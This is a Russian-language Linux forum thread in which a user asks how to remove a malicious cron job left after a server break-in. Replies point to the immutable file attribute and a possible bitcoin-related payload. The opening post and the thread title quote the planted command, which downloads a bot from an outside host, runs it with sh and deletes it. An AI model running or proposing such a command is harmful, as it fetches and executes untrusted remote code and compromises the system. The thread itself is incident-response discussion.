Добрый день.
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1
Повесили в крон.
Как удалить задание?
При правке выдавать стал вот такое сообщение
crontab: installing new crontab
crontab: error renaming /var/spool/cron/tabs/srv.tmp.XXXXRZ8JCE to /var/spool/cron/tabs/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.MB74Un
Сам ресурс пока не работает на скачку.
Помогите решить казус.
Инфа об ОС
openSUSE-12.2
Пакет cronie Version: 1.4.8-37.9.1
Переустановка пакетов не помогла.
Удалить последствия взлома. (wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -r)
Модераторы: SLEDopit, Модераторы разделов
-
Voler
- Сообщения: 498
- ОС: Fedora
Re: Удалить последствия взлома.
Нашнл решение тут
http://security.stackexchange.com/question...ow-does-it-work
Переустановил пакет aptitude reinstall e2fsprogs
Исправил подгаженные вещи.
Теперь буду менять серверак, т.к. мало ли еще где что подвесили.
http://security.stackexchange.com/question...ow-does-it-work
Переустановил пакет aptitude reinstall e2fsprogs
Исправил подгаженные вещи.
Теперь буду менять серверак, т.к. мало ли еще где что подвесили.
Спасибо сказали:
-
pelmen
- Сообщения: 1268
- ОС: debian
Re: Удалить последствия взлома.
Ссылка стала доступна. Ваш сервер мог выполнять какие-либо процедуры с биткойном
-
drBatty
- Сообщения: 8735
- Статус: GPG ID: 4DFBD1D6 дом горит, козёл не видит...
- ОС: Slackware-current
Re: Удалить последствия взлома.
наверное атрибут +i был поставлен(man ls attr).
ага.
-
Voler
- Сообщения: 498
- ОС: Fedora
Re: Удалить последствия взлома.
Решил проблему.
Спасибо
Спасибо